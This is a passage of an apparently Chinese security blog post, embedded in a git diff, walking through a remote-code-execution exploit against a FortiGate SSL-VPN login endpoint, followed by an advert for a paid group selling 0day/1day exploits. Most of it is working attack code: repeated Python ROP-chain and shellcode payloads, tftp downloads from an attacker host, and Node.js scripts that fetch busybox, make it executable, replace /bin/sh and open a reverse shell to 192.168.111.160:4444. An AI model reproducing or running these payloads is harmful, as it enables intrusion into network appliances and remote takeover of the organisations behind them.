+#0x000000000043F3D0 call mprotect  +#0x0000000000509372 : pop rdx ; ret +#0x0000000002a0e0e0 : add rdx, rax ; mov eax, edx ; sub eax, edi ; ret +#0x00000000005dc96d jmp rsp +#0x43A160 execl +def bytes2stack_bytes(bytes): +    stack_str = "0x" +    swap_data = bytearray(bytes) +    swap_data.reverse() +    for i in swap_data: +        t = hex(i)[2:] +        stack_str+=t + +    return stack_str +shellcode1 = asm(''' +    lea rax, [rip + 0x69] +    jmp rax +    nop +    nop +    nop +    nop +    nop +    nop +    nop + +''') +print(len(shellcode1)) +def gen_shellcode_download_file(): +    save_path2 = bytes2stack_bytes(b"/cin/bus") +    save_path1 = bytes2stack_bytes(b'ybox') +    arg2 = bytes2stack_bytes(b"octet") +    arg1 = bytes2stack_bytes(b"get") +    filename = bytes2stack_bytes(b"busybox") + +    ip_addr2 = bytes2stack_bytes(b"111.160") +    ip_addr1 = bytes2stack_bytes(b"192.168.") + +    cmd_path2 = bytes2stack_bytes(b"p") +    cmd_path1 = bytes2stack_bytes(b"/bin/tft") +    shellcode = asm(''' +      sub rsp,0x1000 +      push 0 +      mov rbx, {} +      push rbx +      mov r9, rsp +      mov rbx, {} +      push rbx +      mov r8, rsp +      mov rbx, {} +      push rbx +      mov rcx,rsp +      mov rbx, {} +      push rbx +      mov rbx, {} +      push rbx +      mov rdx,rsp +      mov rbx,{} +      push rbx +      mov rbx,{} +      push rbx +      mov rsi,rsp +      mov rdi,rsp +      add rax, 0x70 +      mov rsp, rax +      nop +      nop +      nop +      nop +      nop +      nop + +      ret +'''.format(arg2,arg1,filename,ip_addr2,ip_addr1,cmd_path2,cmd_path1,save_path1,save_path2)) +    print(shellcode) +    print(hex(len(shellcode))) +    return shellcode +ROP=struct.pack('q',0x000000000060e7e9) +ROP+=struct.pack('Q',0xffffffffffeA5288) +ROP+=struct.pack('q',0) +ROP+=struct.pack('q',0x0000000002a0e0e0) +ROP+=struct.pack('q',0x000000000257008a) +ROP+=struct.pack('q',0x0000000000530c8e) +ROP+=struct.pack('q',0x200000) +ROP+=struct.pack('q',0x0000000000509372) +ROP+=struct.pack('q',0x7) +ROP+=struct.pack('q',0x000000000043F3D0) +ROP+=struct.pack('q',0x00000000005dc96d) +ROP+=shellcode1 +#441A50 + +print(hex(len(ROP))) + +payload=b'a'*0x560+ROP +payload=payload.ljust(0x620,b'a')+struct.pack('q', 0x0000000000febbaa)+gen_shellcode_download_file()+struct.pack('q',0x43A160) +for CL in content_length: +    try: +        data = b"POST " + path + b" HTTP/1.1\r\nHost: " + \ +            ip.encode() + b"\r\nContent-Length: " + CL.encode() + \ +            b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\n"+payload + +        _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +        _socket.connect((ip, 4433)) +        _default_context = ssl._create_unverified_context() +        _socket = _default_context.wrap_socket(_socket) +        _socket.sendall(data) +        res = _socket.recv(1024) +        print(res) +        if b"HTTP/1.1" not in res: +            print("Error detected") +            print(CL) +            break +    except Exception as e: +        print(e) +        print("Error detected") +        print(CL) +        break + +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8df3jpj8rhVwgzf23ZeWY0bY7YOox3uQMCaNQZydjHHfTicSjHgsCNiauOg/640?wx_fmt=png&from=appmsg "") + + +企图直接把busybox放到/cin/busybox中 结果测试失败 + +``` +import socket +import ssl +from pwn import * +import random +import os +import sys +import time +from pwn import * +from ctypes import * +context.arch = 'amd64' + + +path = "/remote/login".encode() +content_length = ["115964116992"] +ip = "192.168.111.148" +#1376 +#0x000000000257008a push rdx,pop rdi.ret +#0x0000000000530c8e : pop rsi ; ret +#0x000000000046bb27 : pop rax ; ret +#0x000000000060e7e9 : pop rax ; pop rsi ; ret 绕过最开始那个1无法写入的限制 +#0x000000000043F3D0 call mprotect  +#0x0000000000509372 : pop rdx ; ret +#0x0000000002a0e0e0 : add rdx, rax ; mov eax, edx ; sub eax, edi ; ret +#0x00000000005dc96d jmp rsp +#0x43A160 execl +def bytes2stack_bytes(bytes): +    stack_str = "0x" +    swap_data = bytearray(bytes) +    swap_data.reverse() +    for i in swap_data: +        t = hex(i)[2:] +        stack_str+=t + +    return stack_str +shellcode1 = asm(''' +    lea rax, [rip + 0x69] +    jmp rax +    nop +    nop +    nop +    nop +    nop +    nop +    nop + +''') +print(len(shellcode1)) +def gen_shellcode_download_file(): +    save_path2 = bytes2stack_bytes(b"/cin/bus") +    save_path1 = bytes2stack_bytes(b'ybox') +    arg2 = bytes2stack_bytes(b"octet") +    arg1 = bytes2stack_bytes(b"get") +    filename = bytes2stack_bytes(b"busybox") + +    ip_addr2 = bytes2stack_bytes(b"111.160") +    ip_addr1 = bytes2stack_bytes(b"192.168.") + +    cmd_path2 = bytes2stack_bytes(b"p") +    cmd_path1 = bytes2stack_bytes(b"/bin/tft") +    shellcode = asm(''' +      sub rsp,0x1000 +      push 0 +      mov rbx, {} +      push rbx +      mov r9, rsp +      mov rbx, {} +      push rbx +      mov r8, rsp +      mov rbx, {} +      push rbx +      mov rcx,rsp +      mov rbx, {} +      push rbx +      mov rbx, {} +      push rbx +      mov rdx,rsp +      mov rbx,{} +      push rbx +      mov rbx,{} +      push rbx +      mov rsi,rsp +      mov rdi,rsp +      mov rbx,{} +      push rbx +      mov rbx,{} +      push rbx +      mov r10,rsp +      add rax, 0x90 +      mov rsp, rax +      push r10 +      sub rsp,8 + +      ret +'''.format(arg2,arg1,filename,ip_addr2,ip_addr1,cmd_path2,cmd_path1,save_path1,save_path2)) +    print(shellcode) +    print(hex(len(shellcode))) +    return shellcode +ROP=struct.pack('q',0x000000000060e7e9) +ROP+=struct.pack('Q',0xffffffffffeA5288) +ROP+=struct.pack('q',0) +ROP+=struct.pack('q',0x0000000002a0e0e0) +ROP+=struct.pack('q',0x000000000257008a) +ROP+=struct.pack('q',0x0000000000530c8e) +ROP+=struct.pack('q',0x200000) +ROP+=struct.pack('q',0x0000000000509372) +ROP+=struct.pack('q',0x7) +ROP+=struct.pack('q',0x000000000043F3D0) +ROP+=struct.pack('q',0x00000000005dc96d) +ROP+=shellcode1 +#441A50 + +print(hex(len(ROP))) + +payload=b'a'*0x560+ROP +payload=payload.ljust(0x620,b'a')+struct.pack('q', 0x0000000000febbaa)+gen_shellcode_download_file()+struct.pack('q',0x43A160) +for CL in content_length: +    try: +        data = b"POST " + path + b" HTTP/1.1\r\nHost: " + \ +            ip.encode() + b"\r\nContent-Length: " + CL.encode() + \ +            b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\n"+payload + +        _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +        _socket.connect((ip, 4433)) +        _default_context = ssl._create_unverified_context() +        _socket = _default_context.wrap_socket(_socket) +        _socket.sendall(data) +        res = _socket.recv(1024) +        print(res) +        if b"HTTP/1.1" not in res: +            print("Error detected") +            print(CL) +            break +    except Exception as e: +        print(e) +        print("Error detected") +        print(CL) +        break + +``` + +这上面直接传到指定路径的问题是第七个参数的传递 如果直接push 会覆盖我们写的shellcode导致程序崩溃 暂时未想到好的解决办法 + + +这里执行有两个问题 一没权限 二没指定lib库 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8dfXaiaicwiapkGJMCbTnBiaPibyMDKFeyV7fn7FxawfKx8CbXYQ5CnbPia5HnA/640?wx_fmt=png&from=appmsg "") + + +这个问题得思考一下怎么解决 在真实环境中直接get一个busybox 好像不够用  因为没有可执行的权限只有读写权限 这里想了很久没想到有什么办法,也用了几个exp尝试赋权 发现要么太麻烦 要么都失败了,最后在ioo0s师傅文章中,学到了思路 + +### Nodejs shellcode + + +这位师傅用的是Nodejs shellcode,利用飞塔居然内置的nodejs通过测试发现 nodejs xx.js 是可执行的,并且 nodejs 也存在修改文件权限的函数 这里我们先确定一下nodejs确实存在 + + +通过执行命令或者直接查找发现是没有的 但是通过node*查找 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8df8Q4upr29RrXK2RTXQGhvvuD13xTZx8VuXsBuibPMxsJOiaGD5YovwAUA/640?wx_fmt=png&from=appmsg "") + + +传一个js文件测试一下 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8df7u1FbegYdiagEwXadpQPBs6iaicPr9RgCWxJhaM1BibKTF6y2Y15OCsaDQ/640?wx_fmt=png&from=appmsg "") + + +是可以执行的,因此我们思路就十分清晰了 + + +这里搬运一下这位ioo0s师傅的思路 + + +1. 通过之前的命令执行下载 shell.js +1. shell.js 中至少要包含以下功能 +1. 一:下载 busybox (比之前的操作简单多了!) +1. 二:给 busybox 执行权限 +1. 三:弄一个 busybox 的 shell 软链 +1. 四:调用 busybox 中内置的命令 起 shell +还有一种思路就是通过nodejs 去渲染反弹shell的指令 虽然飞塔的shell被阉割的很严重 但是可以用wget 然后 去wget 服务器上的busybox + + +这里一个一个思路讲吧先复现一下ioo0s师傅的思路 + +#### 放入js文件用nodejs渲染拉去busybox并且赋权 开ssh环境 + + +js的文件内容 + +``` +const fs = require('fs'); +const { execSync } = require('child_process'); + +const tftpServer = '192.168.111.160';    // ⚠️ 替换为你的 TFTP 服务器 IP +const remoteFile = 'busybox';            // ⚠️ 替换为你的 busybox 文件名 +const localPath = '/bin/busybox'; +const shellLink = '/bin/sh'; + +try { +  // 1. 使用正确格式的 tftp 命令 +  console.log('[*] 正在通过 TFTP 下载 busybox...'); +  execSync(`tftp ${tftpServer} ${remoteFile} get octet ${localPath}`, { stdio: 'inherit' }); + +  // 2. 赋予执行权限 +  console.log('[*] 设置执行权限...'); +  fs.chmodSync(localPath, 0o755); + +  // 3. 创建软链接 +  console.log('[*] 创建 shell 软链...'); +  if (fs.existsSync(shellLink)) fs.unlinkSync(shellLink); +  fs.symlinkSync(localPath, shellLink); + +  // 4. 启动 busybox 的 shell +  console.log('[*] 启动 busybox shell...'); +  execSync(`${shellLink} sh`, { stdio: 'inherit' }); + +} catch (err) { +  console.error('[!] 执行失败:', err.message); +} +``` + + busybox可以用自己编译的也可以去wget一个 + + +编译好的busybox地址各个架构都有 + + +Index of /downloads/binaries/1.21.1 + + +上传busy.js文件 POC + +``` +import socket +import ssl +from pwn import * +import random +import os +import sys +import time +from pwn import * +from ctypes import * +context.arch = 'amd64' + + +path = "/remote/login".encode() +content_length = ["115964116992"] +ip = "192.168.111.148" +#1376 +#0x000000000257008a push rdx,pop rdi.ret +#0x0000000000530c8e : pop rsi ; ret +#0x000000000046bb27 : pop rax ; ret +#0x000000000060e7e9 : pop rax ; pop rsi ; ret 绕过最开始那个1无法写入的限制 +#0x000000000043F3D0 call mprotect  +#0x0000000000509372 : pop rdx ; ret +#0x0000000002a0e0e0 : add rdx, rax ; mov eax, edx ; sub eax, edi ; ret +#0x00000000005dc96d jmp rsp +#0x43A160 execl +def bytes2stack_bytes(bytes): +    stack_str = "0x" +    swap_data = bytearray(bytes) +    swap_data.reverse() +    for i in swap_data: +        t = hex(i)[2:] +        stack_str+=t + +    return stack_str +shellcode1 = asm(''' +    lea rax, [rip + 0x69] +    jmp rax +    nop +    nop +    nop +    nop +    nop +    nop +    nop + +''') +print(len(shellcode1)) +def gen_shellcode_download_file(): +    save_path2 = bytes2stack_bytes(b"/cin/bus") +    save_path1 = bytes2stack_bytes(b'ybox') +    arg2 = bytes2stack_bytes(b"octet") +    arg1 = bytes2stack_bytes(b"get") +    filename = bytes2stack_bytes(b"busy.js") + +    ip_addr2 = bytes2stack_bytes(b"111.160") +    ip_addr1 = bytes2stack_bytes(b"192.168.") + +    cmd_path2 = bytes2stack_bytes(b"p") +    cmd_path1 = bytes2stack_bytes(b"/bin/tft") +    shellcode = asm(''' +      sub rsp,0x1000 +      push 0 +      mov rbx, {} +      push rbx +      mov r9, rsp +      mov rbx, {} +      push rbx +      mov r8, rsp +      mov rbx, {} +      push rbx +      mov rcx,rsp +      mov rbx, {} +      push rbx +      mov rbx, {} +      push rbx +      mov rdx,rsp +      mov rbx,{} +      push rbx +      mov rbx,{} +      push rbx +      mov rsi,rsp +      mov rdi,rsp +      add rax, 0x70 +      mov rsp, rax +      nop +      nop +      nop +      nop +      nop +      nop + +      ret +'''.format(arg2,arg1,filename,ip_addr2,ip_addr1,cmd_path2,cmd_path1,save_path1,save_path2)) +    print(shellcode) +    print(hex(len(shellcode))) +    return shellcode +ROP=struct.pack('q',0x000000000060e7e9) +ROP+=struct.pack('Q',0xffffffffffeA5288) +ROP+=struct.pack('q',0) +ROP+=struct.pack('q',0x0000000002a0e0e0) +ROP+=struct.pack('q',0x000000000257008a) +ROP+=struct.pack('q',0x0000000000530c8e) +ROP+=struct.pack('q',0x200000) +ROP+=struct.pack('q',0x0000000000509372) +ROP+=struct.pack('q',0x7) +ROP+=struct.pack('q',0x000000000043F3D0) +ROP+=struct.pack('q',0x00000000005dc96d) +ROP+=shellcode1 +#441A50 + +print(hex(len(ROP))) + +payload=b'a'*0x560+ROP +payload=payload.ljust(0x620,b'a')+struct.pack('q', 0x0000000000febbaa)+gen_shellcode_download_file()+struct.pack('q',0x43A160) +for CL in content_length: +    try: +        data = b"POST " + path + b" HTTP/1.1\r\nHost: " + \ +            ip.encode() + b"\r\nContent-Length: " + CL.encode() + \ +            b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\n"+payload + +        _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +        _socket.connect((ip, 4433)) +        _default_context = ssl._create_unverified_context() +        _socket = _default_context.wrap_socket(_socket) +        _socket.sendall(data) +        res = _socket.recv(1024) +        print(res) +        if b"HTTP/1.1" not in res: +            print("Error detected") +            print(CL) +            break +    except Exception as e: +        print(e) +        print("Error detected") +        print(CL) +        break + +``` + +命令执行 /bin/node busy.js + + +这里我用的是execve去执行 + +``` +char *argv[] = { "/bin/node", "/busy.js", NULL }; +char *envp[] = { "PATH=/usr/bin", "HOME=/root", NULL }; + +execve("/bin/node", argv, envp); +``` + +可以先写个demo测试,这里要注意的是写shellcode的时候 argv 和 envp分别指的是数组,也就是要把rsi rdx指向构造好的地址 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8dfKxMBibOnlDdGzj6lWrAoYadrd6yBXqFSibCA0Srt5sCVF1cg5sEXvSHg/640?wx_fmt=png&from=appmsg "") + + +rsi指向的是0x7ff1eaec7d80对应下面 + +``` +0x7ff1eaec7db8: "/bin/node" +0x7ff1eaec7dc0: "/busy.js" +null  +``` + +类似这种,然后我们这里打exp去执行之前的busy.js指令 在飞塔或者原界面都是没有输出的 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8dfO6eBib0glyztPmZvct3E4Y2opq9rLlBrNZo2Ycpt3uut3ZNRbI9miaQQ/640?wx_fmt=png&from=appmsg "") + + +可以看到没有任何回显 但就是执行成功了 成功放入busybox,这里没有放入bin的原因是因为没有权限所以放入tmp文件夹中 + + +命令执行exp + +``` +import socket +import ssl +from pwn import * +import random +import os +import sys +import time +from pwn import * +from ctypes import * +context.arch = 'amd64' + + +path = "/remote/login".encode() +content_length = ["115964116992"] +ip = "192.168.111.148" +#1376 +#0x000000000257008a push rdx,pop rdi.ret +#0x0000000000530c8e : pop rsi ; ret +#0x000000000046bb27 : pop rax ; ret +#0x000000000060e7e9 : pop rax ; pop rsi ; ret 绕过最开始那个1无法写入的限制 +#0x000000000043F3D0 call mprotect  +#0x0000000000509372 : pop rdx ; ret +#0x0000000002a0e0e0 : add rdx, rax ; mov eax, edx ; sub eax, edi ; ret +#0x00000000005dc96d jmp rsp +#0x43A160 execl +def bytes2stack_bytes(bytes): +    stack_str = "0x" +    swap_data = bytearray(bytes) +    swap_data.reverse() +    for i in swap_data: +        t = hex(i)[2:] +        stack_str+=t + +    return stack_str +shellcode1 = asm(''' +    lea rax, [rip + 0x69] +    jmp rax +    nop +    nop +    nop +    nop +    nop +    nop +    nop + +''') +print(len(shellcode1)) +def gen_shellcode_download_file(): +    save_path2 = bytes2stack_bytes(b"/cin/bus") +    save_path1 = bytes2stack_bytes(b'ybox') +    arg2 = bytes2stack_bytes(b"/bin/nod") +    arg1 = bytes2stack_bytes(b"e"+b'\x00'*7) +    filename = bytes2stack_bytes(b"busy.js") + +    ip_addr2 = bytes2stack_bytes(b"111.160") +    ip_addr1 = bytes2stack_bytes(b"192.168.") + +    cmd_path2 = bytes2stack_bytes(b"p") +    cmd_path1 = bytes2stack_bytes(b"/bin/tft") +    arg3=bytes2stack_bytes(b'node') +    arg4=bytes2stack_bytes(b'/busy.js') +    arg5=bytes2stack_bytes(b'0') +    shellcode = asm(''' +      sub rsp,0x1000 +      push 0 +      mov rbx, {} +      push rbx +      mov rbx, {} +      push rbx +      mov rdi, rsp +      mov rbx,{} +      push rbx +      mov rbx,{} +      push rbx +      mov rsi,rsp +      sub rsp,0x8 +      mov rbx,{} +      push rbx +      mov rdx,rsp +      mov rbx,0 +      push rbx +      mov rcx,rsp +      push rdx +      push rdi + +      mov rsi,rsp +      sub rsp,0x100 +      push rcx +      mov rdx,rsp +      add rax,0x70 +      mov rsp,rax + +      nop +      nop +      nop +      nop +      nop +      nop +      ret +'''.format(arg1,arg2,arg1,arg2,arg4)) +    print(shellcode) +    print(hex(len(shellcode))) +    return shellcode +ROP=struct.pack('q',0x000000000060e7e9) +ROP+=struct.pack('Q',0xffffffffffeA5288) +ROP+=struct.pack('q',0) +ROP+=struct.pack('q',0x0000000002a0e0e0) +ROP+=struct.pack('q',0x000000000257008a) +ROP+=struct.pack('q',0x0000000000530c8e) +ROP+=struct.pack('q',0x200000) +ROP+=struct.pack('q',0x0000000000509372) +ROP+=struct.pack('q',0x7) +ROP+=struct.pack('q',0x000000000043F3D0) +ROP+=struct.pack('q',0x00000000005dc96d) +ROP+=shellcode1 +#441A50 + +print(hex(len(ROP))) + +payload=b'a'*0x560+ROP +payload=payload.ljust(0x620,b'a')+struct.pack('q', 0x0000000000febbaa)+gen_shellcode_download_file()+struct.pack('q',0x0442EC0) +for CL in content_length: +    try: +        data = b"POST " + path + b" HTTP/1.1\r\nHost: " + \ +            ip.encode() + b"\r\nContent-Length: " + CL.encode() + \ +            b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\n"+payload + +        _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +        _socket.connect((ip, 4433)) +        _default_context = ssl._create_unverified_context() +        _socket = _default_context.wrap_socket(_socket) +        _socket.sendall(data) +        res = _socket.recv(1024) +        print(res) +        if b"HTTP/1.1" not in res: +            print("Error detected") +            print(CL) +            break +    except Exception as e: +        print(e) +        print("Error detected") +        print(CL) +        break + +``` + +接下来有了busybox之后 我们就可以回到带sh环境下去进行攻击了 只是把/bin/busybox改为/tmp/busybox + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8dfrMFThwgK7dgib7Q33uTuOMRx5s6OViaE8PZRktP3q9orNo4MsY93FQYA/640?wx_fmt=png&from=appmsg "") + +#### nodejs渲染进行反弹shell(通过前面的方式去得到busybox) + + +js文件 + +``` +const net = require('net'); +const cp = require('child_process'); + +const busyboxPath = '/tmp/busybox'; +const cmds = ['sh', 'ls', 'cat', 'wget', 'ps', 'netstat']; // 需要软链的命令列表 + +function setupBusyboxLinks() { +    const { execSync } = cp; +    try { +        cmds.forEach(cmd => { +            // 注意:所有命令都用 /tmp/busybox 调用 +            execSync(`${busyboxPath} ln -sf busybox ${cmd}`, { cwd: '/tmp' }); +        }); +    } catch (e) { +        // 失败忽略 +    } +} + +setupBusyboxLinks(); + +const client = new net.Socket(); + +client.connect(4444, '192.168.111.160', () => { +    const sh = cp.spawn(busyboxPath, ['sh'], { +        env: Object.assign({}, process.env, { +            PATH: `/tmp:${process.env.PATH || ''}` +        }) +    }); + +    client.pipe(sh.stdin); +    sh.stdout.pipe(client); +    sh.stderr.pipe(client); + +    sh.on('exit', () => { +        client.end(); +    }); +}); + +client.on('error', () => { +    client.end(); +}); + +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8dfBiaE6sf0srwxicEwibmicFEa6bTgghqqGprxH09bEskUjpWrCTfl9G0shQ/640?wx_fmt=png&from=appmsg "") + + +nodejs渲染通过js来模拟wget请求下载busybox并且赋权 + + +js文件 + +``` +const http = require('http'); +const fs = require('fs'); +const { exec } = require('child_process'); + +// 指定攻击机的 IP 地址和路径 +const url = 'http://192.168.111.160/busybox'; +const outputPath = '/tmp/busybox';  // 文件保存路径 + +http.get(url, (response) => { +    const fileStream = fs.createWriteStream(outputPath); +    response.pipe(fileStream); + +    fileStream.on('finish', () => { +        console.log('下载成功!'); + +        // 设置执行权限,确保文件可执行 +        fs.chmod(outputPath, 0o755, (err) => { +            if (err) { +                console.log('赋权失败:', err); +                return; +            } +            console.log('文件权限已更新,允许执行!'); + +            // 通过 busybox 执行反弹 shell 或其他操作 +            exec(`/tmp/busybox`, (err, stdout, stderr) => { +                if (err) { +                    console.error('执行失败:', stderr); +                    return; +                } +                console.log('执行输出:', stdout); +            }); +        }); +    }); +}).on('error', (err) => { +    console.log('下载失败:', err); +}); +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8dftHEWQGTia215UF4oDPOSHnIdekAI4gicBxia0rA1Ihu2rbiaNZGBx21k7w/640?wx_fmt=png&from=appmsg "") + + + +**内部圈子详情介绍** + + + +我们是 +神农安全 +,点赞 + 在看 + 铁铁们点起来,最后祝大家都能心想事成、发大财、行大运。 + +![](https://mmbiz.qpic.cn/mmbiz_png/mngWTkJEOYJDOsevNTXW8ERI6DU2dZSH3Wd1AqGpw29ibCuYsmdMhUraS4MsYwyjuoB8eIFIicvoVuazwCV79t8A/640?wx_fmt=png&tp=wxpic&wxfrom=5&wx_lazy=1&wx_co=1 "") + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/MVPvEL7Qg0F0PmZricIVE4aZnhtO9Ap086iau0Y0jfCXicYKq3CCX9qSib3Xlb2CWzYLOn4icaWruKmYMvqSgk1I0Aw/640?wx_fmt=gif&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +**内部圈子介绍** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/MVPvEL7Qg0F0PmZricIVE4aZnhtO9Ap08Z60FsVfKEBeQVmcSg1YS1uop1o9V1uibicy1tXCD6tMvzTjeGt34qr3g/640?wx_fmt=gif&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + + + +**圈子专注于更新src/红蓝攻防相关:** + +``` +1、维护更新src专项漏洞知识库,包含原理、挖掘技巧、实战案例 +2、知识星球专属微信“小圈子交流群” +3、微信小群一起挖洞 +4、内部团队专属EDUSRC证书站漏洞报告 +5、分享src优质视频课程(企业src/EDUSRC/红蓝队攻防) +6、分享src挖掘技巧tips +7、不定期有众测、渗透测试项目(一起挣钱) +8、不定期有工作招聘内推(工作/护网内推) +9、送全国职业技能大赛环境+WP解析(比赛拿奖) +``` + + + + +**内部圈子** +**专栏介绍** + +知识星球内部共享资料截屏详情如下 + +(只要没有特殊情况,每天都保持更新) + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWYcoLuuFqXztiaw8CzfxpMibRSekfPpgmzg6Pn4yH440wEZhQZaJaxJds7olZp5H8Ma4PicQFclzGbQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWYcoLuuFqXztiaw8CzfxpMibgpeLSDuggy2U7TJWF3h7Af8JibBG0jA5fIyaYNUa2ODeG1r5DoOibAXA/640?wx_fmt=png&from=appmsg "") + + +**知识星球——** +**神农安全** + +星球现价  +¥45元 + +如果你觉得应该加入,就不要犹豫,价格只会上涨,不会下跌 + +星球人数少于800人 45元/年 + +星球人数少于1000人 60元/年 + +(新人优惠卷20,扫码或者私信我即可领取) + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUMULI8zm64NrH1pNBpf6yJHePfxfpEBEibsuTPjTxtvvTaS1M05C10sGweR6sKjhnt9amVS3aPicGQ/640?wx_fmt=png&from=appmsg "") + +欢迎加入星球一起交流,券后价仅45元!!! 即将满800人涨价 + +长期 +更新,更多的0day/1day漏洞POC/EXP + + + +**内部知识库--** +**(持续更新中)** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUw2r3biacicUOicXUZHWj2FgFu12KTxgSfI69k7BChztff43VObUMsvvLyqsCRYoQnRKg1ibD7A0U3bQ/640?wx_fmt=png&from=appmsg "") + + +**知识库部分大纲目录如下:** + +知识库跟 +知识星球联动,基本上每天保持 +更新,满足圈友的需求 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUw2r3biacicUOicXUZHWj2FgFhXF33IuCNWh4QOXjMyjshticibyeTV3ZmhJeGias5J14egV36UGXvwGSA/640?wx_fmt=png&from=appmsg "") + + +知识库和知识星球有师傅们关注的 +EDUSRC +和 +CNVD相关内容(内部资料) + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUw2r3biacicUOicXUZHWj2FgFKDNucibvibBty5UMNwpjeq1ToHpicPxpNwvRNj3JzWlz4QT1kbFqEdnaA/640?wx_fmt=png&from=appmsg "") + + +还有网上流出来的各种 +SRC/CTF等课程视频 + +量大管饱,扫描下面的知识星球二维码加入即可 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUw2r3biacicUOicXUZHWj2FgFxYMxoc1ViciafayxiaK0Z26g1kfbVDybCO8R88lqYQvOiaFgQ8fjOJEjxA/640?wx_fmt=png&from=appmsg "") + + + +不会挖CNVD?不会挖EDURC?不会挖企业SRC?不会打nday和通杀漏洞? + +直接加入我们小圈子: +知识星球+内部圈子交流群+知识库 + +快来吧!! + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUMULI8zm64NrH1pNBpf6yJ5wUOL9GnsxoXibKezHTjL6Yvuw6y8nm5ibyL388DdDFvuAtGypahRevg/640?wx_fmt=png&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1 "") + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_jpg/b7iaH1LtiaKWUMULI8zm64NrH1pNBpf6yJO0FHgdr6ach2iaibDRwicrB3Ct1WWhg9PA0fPw2J1icGjQgKENYDozpVJg/640?wx_fmt=other&tp=webp&wxfrom=5&wx_lazy=1 "") + + +神农安全知识库内部配置很多 +内部工具和资料💾, +玄机靶场邀请码+EDUSRC邀请码等等 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWXjm2h60OalGLbwrsEO8gJDNtEt0PfMwXQRzn9EDBdibLWNDZXVVjog7wDlAUK1h3Y7OicPQCYaw2eA/640?wx_fmt=png&from=appmsg "") + + +快要护网来临,是不是需要 +护网面试题汇总 +? +问题+答案(超级详细🔎) + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWXjm2h60OalGLbwrsEO8gJDbLia1oCDxSyuY4j0ooxgqOibabZUDCibIzicM6SL2CMuAAa1Qe4UIRdq1g/640?wx_fmt=png&from=appmsg "") + + +最后,师傅们也是希望找个 +好工作,那么常见的 +渗透测试/安服工程师/驻场面试题目,你值得拥有!!! + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWXjm2h60OalGLbwrsEO8gJDicYew8gfSB3nicq9RFgJIKFG1UWyC6ibgpialR2UZlicW3mOBqVib7SLyDtQ/640?wx_fmt=png&from=appmsg "") + + + +内部小圈子—— +圈友反馈 +( +良心价格 +) + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWW0s5638ehXF2YQEqibt8Hviaqs0Uv6F4NTNkTKDictgOV445RLkia2rFg6s6eYTSaDunVaRF41qBibY1A/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWW0s5638ehXF2YQEqibt8HviaRhLXFayW3gyfu2eQDCicyctmplJfuMicVibquicNB3Bjdt0Ukhp8ib1G5aQ/640?wx_fmt=png&from=appmsg "") + + +**** +**神农安全公开交流群** + +有需要的师傅们直接扫描文章二维码加入,然后要是后面群聊二维码扫描加入不了的师傅们,直接扫描文章开头的二维码加我(备注加群) + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/b7iaH1LtiaKWV3tDTbzdQK4qCdxgHkSbgibaLP4ChjjO3BIeMgdTz3YelibqGvekSLXV3s1JpWkncKqYgbfZvOLENg/640?wx_fmt=jpeg&from=appmsg "") + +**** +   +``` +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/b7iaH1LtiaKWW8vxK39q53Q3oictKW3VAXz4Qht144X0wjJcOMqPwhnh3ptlbTtxDvNMF8NJA6XbDcljZBsibalsVQ/640?wx_fmt=gif "") + + + diff --git a/doc/2025-06/两条命令搞定!Kali原生集成GVM漏洞扫描器,比Docker省5GB空间.md b/doc/2025-06/两条命令搞定!Kali原生集成GVM漏洞扫描器,比Docker省5GB空间.md new file mode 100644 index 00000000..3bdf8ef0 --- 